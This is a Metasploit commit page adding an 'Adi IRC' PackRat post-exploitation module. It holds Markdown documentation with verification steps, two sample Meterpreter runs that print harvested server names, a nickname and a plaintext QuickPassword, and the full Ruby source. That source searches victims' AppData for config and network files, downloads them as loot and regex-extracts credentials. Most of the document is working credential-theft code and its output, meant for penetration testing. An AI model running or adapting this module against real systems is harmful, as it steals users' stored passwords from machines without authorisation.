Skip to content

Commit 20e0834

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#19169, Add Adi IRC PackRat module
Merge branch 'land-19169' into upstream-master
2 parents 28396ff + 9294d3b commit 20e0834

File tree

2 files changed

+266
-0
lines changed
  • documentation/modules/post/windows/gather/credentials
  • modules/post/windows/gather/credentials

2 files changed

+266
-0
lines changed

‎documentation/modules/post/windows/gather/credentials/adi_irc.md

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
## Vulnerable Application
2+
3+
This post-exploitation module extracts clear text credentials from the Adi IRC Client.
4+
5+
The Adi IRC Client is avaialble from (https://www.adiirc.com/).
6+
7+
This module extracts information from the config.ini and networks.ini files in the "AppData\Local\AdiIRC" directory.
8+
9+
This module extracts server information such as server name, server port, user name, and password.
10+
11+
12+
## Verification Steps
13+
14+
1. Start MSF console
15+
2. Get a Meterpreter session on a Windows system
16+
3. use post/windows/gather/credentials/adi_irc
17+
4. Set SESSION 1
18+
5. enter 'run' to extract credentials from all applications
19+
20+
21+
## Options
22+
### VERBOSE
23+
24+
By default verbose is turned off. When turned on, the module will show information on files
25+
which aren't extracted and information that is not directly related to the artifact output.
26+
27+
28+
### STORE_LOOT
29+
This option is turned on by default and saves the stolen artifacts/files on the local machine,
30+
this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries.
31+
32+
33+
### EXTRACT_DATA
34+
This option is turned on by default and will perform the data extraction using the predefined
35+
regular expression. The 'Store loot' options must be turned on in order for this to take work.
36+
37+
## Scenarios
38+
### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output
39+
```
40+
msf6 post(windows/gather/credentials/adi_irc) > run
41+
42+
[*] Filtering based on these selections:
43+
[*] ARTIFACTS: All
44+
[*] STORE_LOOT: true
45+
[*] EXTRACT_DATA: true
46+
47+
[*] Adi irc's Config file found
48+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.bak
49+
[*] Adi irc Config.bak downloaded
50+
[+] File saved to: /home/kali/.msf4/loot/20240508083920_default_10.0.0.2_AdiIRCconfig.ba_051695.bak
51+
52+
[+] serverhost=chat.freenode.net
53+
[+] Serverhost=irc.test.net
54+
[+] serverport=6667
55+
[+] Serverport=6667
56+
[+] Usernick=TheTester
57+
[+] QuickPassword=tiaspbiqe2r
58+
[+] File with data saved: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_EXTRACTIONconfig_949744.bak
59+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.ini
60+
[*] Adi irc Config.ini downloaded
61+
[+] File saved to: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_AdiIRCconfig.in_618977.ini
62+
63+
[+] serverhost=chat.freenode.net
64+
[+] Serverhost=irc.test.net
65+
[+] serverport=6667
66+
[+] Serverport=6667
67+
[+] Usernick=TheTester
68+
[+] QuickPassword=tiaspbiqe2r
69+
[+] File with data saved: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_EXTRACTIONconfig_981500.ini
70+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini
71+
[*] Adi irc Networks.ini downloaded
72+
[+] File saved to: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_AdiIRCnetworks._976889.ini
73+
74+
[+] File with data saved: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_EXTRACTIONconfig_407804.ini
75+
[*] Adi irc's Networks file found
76+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini
77+
[*] Adi irc Networks.ini downloaded
78+
[+] File saved to: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_AdiIRCnetworks._497206.ini
79+
80+
[*] undefined method `each' for nil:NilClass
81+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.bak
82+
[*] Adi irc Networks.bak downloaded
83+
[+] File saved to: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_AdiIRCnetworks._102963.bak
84+
85+
[*] undefined method `each' for nil:NilClass
86+
[*] PackRat credential sweep Completed
87+
[*] Post module execution completed
88+
```
89+
90+
### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output
91+
```
92+
msf6 post(windows/gather/credentials/adi_irc) > run
93+
94+
[*] Filtering based on these selections:
95+
[*] ARTIFACTS: All
96+
[*] STORE_LOOT: true
97+
[*] EXTRACT_DATA: true
98+
99+
[*] Starting Packrat...
100+
[-] Adi irc's base folder not found in user's user directory
101+
102+
[-] Adi irc's base folder not found in user's user directory
103+
104+
[*] Starting Packrat...
105+
[*] Adi irc's base folder found
106+
[*] Found the folder containing specified artifact for config.
107+
[*] Adi irc's Config file found
108+
[*] Processing C:\Users\test\AppData\Local\AdiIRC
109+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.bak
110+
[*] Adi irc Config.bak downloaded
111+
[+] File saved to: /home/kali/.msf4/loot/20240508083813_default_10.0.0.2_AdiIRCconfig.ba_900175.bak
112+
113+
[*] Searches for credentials (USERNAMES/PASSWORDS)
114+
[+] serverhost=chat.freenode.net
115+
[*] Searches for credentials (USERNAMES/PASSWORDS)
116+
[+] Serverhost=irc.test.net
117+
[*] Searches for credentials (USERNAMES/PASSWORDS)
118+
[+] serverport=6667
119+
[*] Searches for credentials (USERNAMES/PASSWORDS)
120+
[+] Serverport=6667
121+
[*] Searches for credentials (USERNAMES/PASSWORDS)
122+
[+] Usernick=TheTester
123+
[*] Searches for credentials (USERNAMES/PASSWORDS)
124+
[+] QuickPassword=tiaspbiqe2r
125+
[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_209914.bak
126+
[*] Processing C:\Users\test\AppData\Local\AdiIRC
127+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.ini
128+
[*] Adi irc Config.ini downloaded
129+
[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCconfig.in_918837.ini
130+
131+
[*] Searches for credentials (USERNAMES/PASSWORDS)
132+
[+] serverhost=chat.freenode.net
133+
[*] Searches for credentials (USERNAMES/PASSWORDS)
134+
[+] Serverhost=irc.test.net
135+
[*] Searches for credentials (USERNAMES/PASSWORDS)
136+
[+] serverport=6667
137+
[*] Searches for credentials (USERNAMES/PASSWORDS)
138+
[+] Serverport=6667
139+
[*] Searches for credentials (USERNAMES/PASSWORDS)
140+
[+] Usernick=TheTester
141+
[*] Searches for credentials (USERNAMES/PASSWORDS)
142+
[+] QuickPassword=tiaspbiqe2r
143+
[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_383684.ini
144+
[*] Processing C:\Users\test\AppData\Local\AdiIRC
145+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini
146+
[*] Adi irc Networks.ini downloaded
147+
[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCnetworks._579169.ini
148+
149+
[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_073623.ini
150+
[*] Adi irc's base folder found
151+
[*] Found the folder containing specified artifact for networks.
152+
[*] Adi irc's Networks file found
153+
[*] Processing C:\Users\test\AppData\Local\AdiIRC
154+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini
155+
[*] Adi irc Networks.ini downloaded
156+
[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCnetworks._045399.ini
157+
158+
[*] undefined method `each' for nil:NilClass
159+
[*] Processing C:\Users\test\AppData\Local\AdiIRC
160+
[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.bak
161+
[*] Adi irc Networks.bak downloaded
162+
[+] File saved to: /home/kali/.msf4/loot/20240508083815_default_10.0.0.2_AdiIRCnetworks._439992.bak
163+
164+
[*] undefined method `each' for nil:NilClass
165+
[*] PackRat credential sweep Completed
166+
[*] Post module execution completed
167+
```

‎modules/post/windows/gather/credentials/adi_irc.rb

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
# this associative array defines the artifacts known to PackRat
8+
include Msf::Post::File
9+
include Msf::Post::Windows::UserProfiles
10+
include Msf::Post::Windows::Packrat
11+
ARTIFACTS =
12+
{
13+
application: 'Adi IRC',
14+
app_category: 'IRC',
15+
gatherable_artifacts: [
16+
{
17+
filetypes: 'quick_connect',
18+
path: 'LocalAppData',
19+
dir: 'AdiIRC',
20+
artifact_file_name: 'config',
21+
description: 'Quick Connect Server Details',
22+
credential_type: 'text',
23+
regex_search: [
24+
{
25+
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
26+
extraction_type: 'credentials',
27+
regex: [
28+
'(?i-mx:Serverhost=.*)',
29+
'(?i-mx:Serverport=.*)',
30+
'(?i-mx:Usernick=.*)',
31+
'(?i-mx:QuickPassword=.*)'
32+
]
33+
}
34+
]
35+
},
36+
{
37+
filetypes: 'Networks',
38+
path: 'LocalAppData',
39+
dir: 'AdiIRC',
40+
artifact_file_name: 'networks',
41+
description: 'Saved Networks',
42+
credential_type: 'text'
43+
}
44+
]
45+
}.freeze
46+
47+
def initialize(info = {})
48+
super(
49+
update_info(
50+
info,
51+
'Name' => 'Adi IRC credential gatherer',
52+
'Description' => %q{
53+
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
54+
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
55+
Further details can be found in the module documentation.
56+
This is a module that searches for credentials stored on AdiIRC Client in a windows remote host.
57+
},
58+
'License' => MSF_LICENSE,
59+
'Author' => [
60+
'Jacob Tierney',
61+
'Kazuyoshi Maruta',
62+
'Daniel Hallsworth',
63+
'Barwar Salim M',
64+
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
65+
],
66+
'Platform' => ['win'],
67+
'SessionTypes' => ['meterpreter'],
68+
'Notes' => {
69+
'Stability' => [CRASH_SAFE],
70+
'Reliability' => [],
71+
'SideEffects' => []
72+
}
73+
)
74+
)
75+
76+
register_options(
77+
[
78+
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
79+
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
80+
# enumerates the options based on the artifacts that are defined below
81+
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
82+
]
83+
)
84+
end
85+
86+
def run
87+
print_status('Filtering based on these selections: ')
88+
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
89+
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
90+
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
91+
92+
# used to grab files for each user on the remote host
93+
grab_user_profiles.each do |userprofile|
94+
run_packrat(userprofile, ARTIFACTS)
95+
end
96+
97+
print_status 'PackRat credential sweep Completed'
98+
end
99+
end

0 commit comments

Comments
 (0)